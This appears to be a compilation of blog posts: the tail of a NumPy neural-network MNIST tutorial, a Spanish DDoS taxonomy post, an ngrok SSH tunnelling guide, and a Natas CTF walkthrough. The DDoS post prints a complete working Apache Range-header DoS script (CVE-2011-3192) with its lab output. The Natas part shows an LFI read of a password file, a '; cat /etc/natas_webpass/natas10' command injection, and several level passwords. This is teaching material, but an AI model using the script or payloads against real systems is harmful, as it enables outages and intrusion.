            loss, acc = train_step(model, inp, tar, learning_rate)
            # metrics calculation
            if error is None and accuracy is None:
                error = loss
                accuracy = acc
            else:
                error = (error + loss) / 2
                accuracy = (accuracy + acc) / 2
            # printing metrics
            msg = f'batchs: {i+1}/{len(x)}, Error: {error} Acc: {acc}'
            print("", end='\r')
            print(msg, end='')
        print("", end='\r')
        print(msg + f' Time: {time.time() - start}')

Here we have the function "fit ", here we define the training cycles that our model will have, and some parameters to adjust.

• X is a matrix with the shape (m,i) contains the examples for the training of the model.
• targets are the expected outputs with the shape (m, n), "n" is the number of the outputs.
• batch_size is the size of the batch in which the examples are grouped, the data can be grouped in small batches to reduce the computational cost of training and help the model to generalize the information, if its value is 1 it will be trained the model sequentially.
• epochs is the number of times the model will cycle through all the examples
• learning_rate is already explaining

Testing our model with real data

Now we are going to use a jupyter notebook, if you aren't using vscode, you can code in a script.py
we create a file "test_model.ipynb" if you are using vscode or "test_model.py" if you use another code editor.
first we import what we need
We Install tensorflow to use a dataset and matplotlib to visualize the data.

pip install tensorflow matplotlib

# libraries
import numpy as np
from matplotlib import pyplot as plt
# Our code
from neural_network import Model, Dense
from training_model import fit, d_mse
# mnist dataset from tensorflow
from tensorflow.keras.datsets import mnist

Now we load the dataset

# Load dataset
(x_train, y_train), (x_test, y_test) = mnist.load_data()

Viewing the dataset.

plt.figure(figsize=(15, 8))
for i, img, label in zip(range(10), x_train[:10], y_train[:10]):
    plt.subplot(2, 5, i + 1)
    plt.imshow(img)
    plt.xlabel(label)
plt.show()

If you managed to run the code until this point you should be able to view images of handwritten numbers.

Now we transform the data so that the model can process it.

x_train = x_train.reshape(len(x_train), -1) # shape (60000, 28*28)
x_train = x_train / 255 # normalizing data to values between 0-1
zeros = np.zeros(
    shape=(y_train.size, int(y_train.max() + 1)) # zeros matrix shape (m, i)
)
zeros[np.arange(len(y_train)), y_train] = 1 # one hot encodig
y_train = zeros # shape (60000, 10)

x_test = x_test.reshape(len(x_test), -1) # shape (10000, 28*28)
x_test = x_test / 255 # normalizing data to values between 0-1
zeros = np.zeros(
    shape=(y_test.size, int(y_test.max()) + 1) # zeros matrix shape (m, i)
)
zeros[np.arange(len(y_test)), y_test] = 1 # one hot encodig
y_test = zeros # shape (10000, 10)

We create the model:

model = Model([])
model.add(Dense(128, activation='relu'))
model.add(Dense(10, activation='sigmoid')) # output layer

The model has 2 layers, the hidden layer that has 128 neurons with the relu function and the output layer that has 10 neurons with the sigmoid function, the output layer will tell us what number it sees in each image.
Note that the number of neurons in the last layer is equal to the number of numerical characters that we have available in the dataset [0 1 2 3 4 5 6 7 8 9].
Now to train the model°

fit(model, x_train, y_train, batch_size=256, epochs=5, learning_rate=0.01)

Console output:

I explain:

• x_train is the input data for the model.
• y_train is the target, the expected output.
• batch_size the model loops through the dataset in batches of 256 samples.
• epoch 5 laps.
• learning_rate 0.01, The step size of the weights is small enough to avoid sudden changes in training.
  Apparently the model predicts with an acc = 0.9, that is, an accuracy of 90%. We will see if this is true using the test data.
  Type this in the file:

predictions = model(x_test)
ACC = np.int64(y_test.argmax(axis=1) == predictions.argmax(axis=1)).mean()
print (f'accuracy: {ACC}')

If the console output looks like this accuracy: 0.9063, the model was training correctly.
Try it with other values in the parameters of the fit function to see what results you can get. You can also try increasing more layers to the model with the number of neurons you want, the possible values for the "activation" parameter are the strings: "sigmoid ","tanh" and "relu".
Now we are going to visualize the test results with the test data
In the same file write:

def plot_image(i, predictions_array, true_label, img):
  predictions_array, true_label, img = predictions_array, true_label[i], img[i]
  plt.grid(False)
  plt.xticks([])
  plt.yticks([])
  plt.imshow(img, cmap=plt.cm.binary)
  predicted_label = np.argmax(predictions_array)
  true_label = np.argmax(true_label)
  if predicted_label == true_label:
    color = 'blue'
  else:
    color = 'red'
  plt.xlabel("{} {:2.0f}% ({})".format(predicted_label,
                                100*np.max(predictions_array),
                                true_label),
                                color=color)

def plot_value_array(i, predictions_array, true_label):
  predictions_array, true_label = predictions_array, true_label[i]
  plt.grid(False)
  plt.xticks(range(10))
  plt.yticks([])
  thisplot = plt.bar(range(10), predictions_array, color="#777777")
  plt.ylim([0, 1])
  predicted_label = np.argmax(predictions_array)
  true_label = np.argmax(true_label)
  thisplot[predicted_label].set_color('red')
  thisplot[true_label].set_color('blue')

And:

num_rows = 5
num_cols = 3
num_images = num_rows*num_cols
plt.figure(figsize=(2*2*num_cols, 2*num_rows))
for i in range(num_images):
  plt.subplot(num_rows, 2*num_cols, 2*i+1)
  plot_image(i, predictions[i], y_test, x_test.reshape(-1,28,28))
  plt.subplot(num_rows, 2*num_cols, 2*i+2)
  plot_value_array(i, predictions[i], y_test)
plt.tight_layout()
plt.show()

You should see a result like this.

That's it, I hope you have learned something from this blog.
Bye.

Autor

• Willy samuel paz Colque

Source code

• github
• google colab

Basado en la investigación de Jelena Mirkovic y Peter Reiher

Ataque de negación de servicio distribuido(DDoS por sus siglas en inglés, Distributed Denial of Service) se lleva a cabo generando un gran flujo de información desde varios puntos de conexión hacia un mismo punto de destino. En este Post se mostrarán 2 tipos de taxonomías para clasificarlos por ataques y contramedidas, esto para resaltar similitudes, características y estrategias con la intención de diseñar medidas al respecto.

Introducción
El desarrollo y uso de las técnicas de ataques DDoS se incrementaron en el transcurso de tiempo al igual que los atacantes constantemente modifican el enfoque de los mismos, este estudio trata de cubrir tanto los ataques conocidos como posibles modificaciones, divididas o niveles.

Aspectos generales
que hace posible los ataques DDOS?
según como está diseñado Internet, sigue un paradigma end-to-end, por lo que, en una comunicación en 2 vías, no existe un tercero que pueda controlar la posibilidad de que se envíen paquetes maliciosos, para poder detenerlos inmediatamente. Además de la posibilidad de realizar IP Spoofing, lo cual dificulta aún más su control sin afectar clientes verdaderos del Host víctima.

cómo se realizan los ataques de DDOS?
Para empezar, constan de distintas fases. Usualmente con la ayuda de escaneos automáticos se buscan dispositivos que puedan llegar a ser vulnerables, en palabras simples, empieza el reclutamiento del ejercito; Teniendo identificados estos, son explotados o infectados de igual manera automáticamente en lo general, para introducir el código malicioso que servirá posteriormente para con estos nuevos reclutas continuar con un mayor reclutamiento, yo lo llamaría como una estafa piramidal.

por que se realizan los ataques de DDOS?
Usualmente son por motivos personales(venganza) o reputación (conseguir respeto y fama). Sin embargo, también son realizados por motivos económicos (dañar a un competidor) y políticos (como una guerra en la que se podría dejar a todo un país sin servicios de internet, un hecho que Rusia hace poco tomo en cuenta y trabaja en mejorar su independencia en servicios de internet y contramedidas ante esto).

Taxonomía de ataques DDOS
DA: Degree of Automation (Grado de automatización)
DA-1 Manual
Las fases mencionadas anteriormente de escaneo y explotación son realizadas por el atacante de forma manual en su completitud.

DA-2 Semi-Automatic

...

Taxonomía de mecanismos de defensa DDOS

Para más detalles sobre cada clasificación, aquí el artículo.

Demo Time | CVE-2011-3192
Para dar un ejemplo práctico de un ataque DDOS tome como caso de estudio el ataque denominado ApacheKiller, que permite a los atacantes realizar una denegación de servicio (consumo de memoria y CPU) a través del Header Range que expresa múltiples rangos superpuestos, y que este tiene asignado el CVE-2011-3192. Tiene como versiones afectadas en Apache HTTP Server 1.3.x, 2.0.x hasta 2.0.64 y 2.2.x hasta 2.2.19. En mi caso use Window$7 como Host Victima con Apache v2.2.15 y con un script hecho en python para realizar el ataque.

Paso 1
Instalar y correr una versión Apache vulnerable descrita previamente

Paso 2
Realice un pequeño test, para que puedan observar a detalle el Request, en el que además nos manda la versión de Apache que se utiliza, esto en un Test ya remunerado o Bug Bounty puede sernos de mucha utilidad claramente.

Paso 3
Con el script realizado en Python por Miroslav Stampar hacemos el testeo

#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME        = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION     = "0.1c"
AUTHOR      = "Miroslav Stampar (@stamparm)"
LICENSE     = "Public domain (FREE)"
SHORT       = "You'll typically have to wait for 10-20 iterations before first connection timeouts. More complex/bigger the page the better"
REFERENCE   = "http://seclists.org/fulldisclosure/2011/Aug/175"

SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
USER_AGENT      = "KillApachePy (%s)" % VERSION

def attack(url, user_agent=None, method='GET', proxy=None):
    if '://' not in url:
        url = "http://%s" % url

    host = urlparse.urlparse(url).netloc

    user_agent = user_agent or USER_AGENT

    if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
        print "(x) Invalid proxy address used"
        exit(-1)

    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
    opener = urllib2.build_opener(proxy_support)
    urllib2.install_opener(opener)

    class _MethodRequest(urllib2.Request):
        '''
        Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
        '''
        def set_method(self, method):
            self.method = method.upper()

        def get_method(self):
            return getattr(self, 'method', urllib2.Request.get_method(self))

    def _send(check=False):
        '''
        Send the vulnerable request to the target
        '''
        if check:
            print "(i) Checking target for vulnerability..."
        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
        try:
            headers = { 'Host': host, 'User-Agent': USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
            req = _MethodRequest(url, None, headers)
            req.set_method(method)
            response = urllib2.urlopen(req)
            if check:
                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
        except urllib2.URLError, msg:
            if 'timed out' in str(msg):
                print "\r(i) Server seems to be choked ('%s')" % msg
            else:
                print "(x) Connection error ('%s')" % msg
                if check or 'Forbidden' in str(msg):
                    os._exit(-1)
        except Exception, msg:
            raise

    try:
        if not _send(check=True):
            print "(x) Target does not seem to be vulnerable"
        else:
            print "(o) Target seems to be vulnerable\n"
            quit = False
            while not quit:
                threads = []
                print "(i) Creating new threads..."
                try:
                    while True:
                        thread = threading.Thread(target=_send)
                        thread.start()
                        threads.append(thread)
                except KeyboardInterrupt:
                    quit = True
                    raise
                except Exception, msg:
                    if 'new thread' in str(msg):
                        print "(i) Maximum number of new threads created (%d)" % len(threads)
                    else:
                        print "(x) Exception occured ('%s')" % msg
                finally:
                    if not quit:
                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
                        time.sleep(SLEEP_TIME)
                        print
    except KeyboardInterrupt:
        print "\r(x) Ctrl-C was pressed"
        os._exit(1)

def main():
    print "%s #v%s\n by: %s\n\n(Note(s): %s)\n" % (NAME, VERSION, AUTHOR, SHORT)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
    parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
    options, _ = parser.parse_args()
    if options.url:
        result = attack(options.url, options.agent, options.method, options.proxy)
    else:
        parser.print_help()

if __name__ == "__main__":
    main()

Y configurandolo con el proxy de Burp Suite quedaría algo así en terminal:

root@lab:~# python Apachekiller.py -u 192.168.100.58 --proxy="http://127.0.0.1:8080"
KillApachePy (Range Header DoS CVE-2011-3192) #v0.1c
by: Miroslav Stampar (@stamparm)

(Note(s) You'll typically have to wait for 10-20 iterations before first
connection timeouts. More complex/bigger the page the better)

(i) Checking target for vulnerability...
(o) Target seems to be vulnerable
(1) Creating new threads

una vez ejecutado esto regresemos a ver nuestro servidor:

Como pueden ver, el Uso de CPU esta hasta el tope, por lo cual podemos evidenciar la vulnerabilidad a la que es susceptible estas versiones de Apache sin embargo analicemos las peticiones que se enviaron.

cómo ven, se envía peticiones con Range superpuestos por lo cual nuestro servidor debe procesar todo esto en mayor tiempo (consumiendo así recursos), lo cual a gran escala resulta fatal.

Como tal este sería un ataque DOS, que sin embargo logro un 100% de Uso de CPU, ahora con un ataque simultaneo con más maquinas (DDOS), podría resultarnos en una pantalla azul, dejando abajo el servidor.

Este sería un ejemplo en nuestra Taxonomía de un EW-1(Exploited Weakness to Deny Services:Semantic) dado que el ataque aprovecha un bug que resultó en estas versiones de Apache.

Una solución a este problema sería una actualización del servidor y/o parches si los tuviera, también un WAF como modSecurity. Por esto la taxonomía a nuestro mecanismo de defensa contra el DDOS seria AL-1:PG-1:ST-1(Activity Level:Preventive - Prevention Goal:Attack Prevention - Secured Target: System Security).

Eso sería, si tuvieran dudas no duden en escribir.
-Hackers are People Too 😜

Bueno este post es por la universidad que espero les sirva a los que están en Arquitectura de Computadoras 2 o con necesidades similares.

Para lograr una conexión SSH fuera del área local a una raspberry(u otro dispositivo en general que tenga SSH), de manera sencilla, me parece esta, por distintos motivos(podría ser habilitando puertos en el router, solo que esto según la operadora puede llegar a ser muy difícil de lograr por sus políticas entre otras cosas), entonces continuemos, se necesita instalar Ngrok

En el caso de la Raspberry se necesita la versión Linux(ARM) o en consola:

wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip

luego se hace el unzip tal como explica el tutorial de ngrok en consola:

unzip ngrok-stable-linux-arm.zip

Lo siguiente es registrarse y/o ingresar en ngrok, y una vez ahí se van a este link donde les mostrara el token para su cuenta
Una vez sabiendo su token ejecutan lo siguiente en la Raspberry:

./ngrok authtoken XXXXXtuTokenAquiXXXXXXX

con eso estaría configurado, solo falta poner a la escucha el puerto 22 que se utiliza SSH, de la siguiente forma

./ngrok tcp 22

es entonces cuando les muestra el Host y puerto al que apuntara

Lo cual muestra en Forwarding la dirección TCP y puerto que nos habilitan para trabajar con nuestra Raspberry.

En este caso era 0.tcp.ngrok.io y puerto 17271, es decir que en vez de nuestra ip local y puerto por defecto(22), se debe especificar estos para acceder fuera del área local a nuestra Raspberry, es decir:

ssh pi@0.tcp.ngrok.io -p17271

y esito sería :D

-Hackers are People Too 😜

Natas es un CTF centrado mas en seguridad web del lado del servidor. Hasta la fecha son 34 niveles, tratare de llegar hasta el final y subire en el camino las soluciones.
Herramientas que use para esta primera parte

• Chromium con algunas extensiones(pueden usar chrome tambien si quieren)
• Firefox

Nivel 0

Nivel inicial
Nos dan como dato :

Username: natas0
Password: natas0

y la url del reto

http://natas0.natas.labs.overthewire.org

A primera vista no hay nada sugestivo, entonces lo que se hace es revisar el codigo con el inspector de chromium(click derecho -> Inspect), y aparecera el codigo del html

Observandolo con detenimiento se aprecia en forma de comentario la flag

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->"

Nivel 1

Username: natas1
Password : gtVrDuiDfck831PqWsLEZy5gyDz1clto

En este nivel se nos dice que el click derecho ha sido bloqueado, y si lo intentamos nos sale un alert diciendonos que esta bloqueado.

Dado que tenemos que inspeccionar el codigo al no funcionar el click derecho , podemos usar los atajos directo(ctrl+shift+i,o aprentando F12)

Al inspeccionar el codigo se visualiza la flag

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Nivel 2

Username: natas2
Passwor: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

Este nivel nos dice que no hay nada en la pagina

Nos ponemos a inspeccionar el codigo y nos topamos con la direccion de una imagen, la cual nos revela informacion de su directorio.

<img src="files/pixel.png">

Entramos a la carpeta files mediante la url

http://natas2.natas.labs.overthewire.org/files/

Vemos que se encuentra el la imagen pixel.png y tambien el users.txt, y si lo revisaremos encontraremos

natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Nivel 3

Username: natas3
Password:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Inspeccioanndo el codigo veremos un curioso mensaje que nos dice

Not even Google will find it this time

Y cuando hablamos de las busquedas de google en una pagina estamos hablando del archivo robots.txt

robots.txt o tambien "robots exclusion protocol" es usado por pagina para decir a las web crawlers o robots que partes no deben ser procesadas o escaneadas.
Y si ingresamos a ese txt ...

http://natas3.natas.labs.overthewire.org/robots.txt

Nos aparecera el nombre de una carpeta

Disallow: /s3cr3t/

y si ingresamos a esa carpeta

http://natas3.natas.labs.overthewire.org/s3cr3t/

nos aparecera como en el natas3 un users.txt el cual contiene nuestra flag

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Nivel 4

Username: natas4
Password : Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Este reto nos dice que no tenemos acceso y que solo esta permitido para los usuarios que vengan de

"http://natas5.natas.labs.overthewire.org/"

En ese sentido, estariamos hablando de la cabecera Referer, mas informacion , la cual le sirve a una pagina para saber de donde venimos a la hora de ingresar a la misma, y en este nivel es justo lo que se necesita.
Usaremos una extension que se llama ModHeader

Agregamos el header Referer y asignamos su valor
Le damos un refresh a la pagina y nos dara efectivamente la flag

iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Nivel 5

Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

En este nivel nos dice que el acceso esta desactivado, que no estamos logeados, esta ultima palabra nos da la idea de cookies.
Y si revisamos las cookies encontraremos una en particular llamada loggedIn
Para manipular esta cookie se puede usar la extension EditThisCookie

Aparece con valor 0(false) la cookie, entonces se cambia a 1 , hacemos click en el ticket verde para que se guarde, le damos un refresh a la pagina y listo

aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Nivel 6

Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Este nivel nos da un campo de input, al cual se introducir la clave que nos dara la flag.
Hacemos click en View sourcode, dentro nos aparecera el codigo.

Se puede apreciar que el codigo da informacion sobre un el archivo includes/secret.inc.
Al ingresar mediante la url aparecera el siguiente fragmento
<? $secret = "FOEIUWGHFEEUHOFUOIU"; ?>
Se toma el valor de $secret y lo ingresamos en el campo de input inicial y aparece la flag

7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Nivel 7

Username: natas7
Password : 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

En este nivel, ya empieza a requerir mas conocimientos.

En la pagina sola hay dos links hacia Home y About, no se ve nada sospechoso a simple vista, asi que inspeccionando el codigo aparece una pista
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
El archivo /etc/natas_webpass/natas8 es ahora el objetivo, la carpeta etc es la que nos sugiere que se podria aplicar un LFI.

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Nivel 8

Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Similar al nivel 7, nos da una opcion para ver el codigo fuente.
Aparece una funcion que codifica nuestro input y lo compara con el encodedSecret

El proceso actual es el siguiente :

binario a hex -> reversa de string -> base64 codificado

Pero para obtener la clave a partir de encodedSecret se debe hacer un proceso inverso

base64 -> reversa de string -> hex a binario

Abrimos la terminal para hacer correr el siguiente codigo php
php -r '$clave=base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));echo $clave;'
Esto devuelve:

oubWYf2kBq

Volviendo al campo de entrada e introduciendo el valor nos dara la flag

W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Nivel 9

Username: natas9
Password : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

De igual manera similar a los niveles previos, la pagina contiene un campo de entrada para buscar palabras que contengan el texto que introduzcamos.
Hacemos click en la opcion de ver el codigo fuente

La pieza fundamental del codigo es
passthru("grep -i $key dictionary.txt");
Ya que passthru nos permite ejecutar comandos en nuestro php, podemos usar esto para acceder a archivos del servidor.
Recordar que en la pagina de inicio de bandit

All passwords are also stored in /etc/natas_webpass/.

De forma que a la hora de ingresar un texto en el campo de entrada podemos manipular esta linea
"grep -i $key dictionary.txt"
para acceder al archivo /etc/natas_webpass/natas10
Ingresamos el siguiente texto
; cat /etc/natas_webpass/natas10
Lo cual produce

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Eso seria todo por esta primera parte.

La sociedad perdona a veces al criminal, pero no perdona nunca al soñador.(Wilde)

-Luna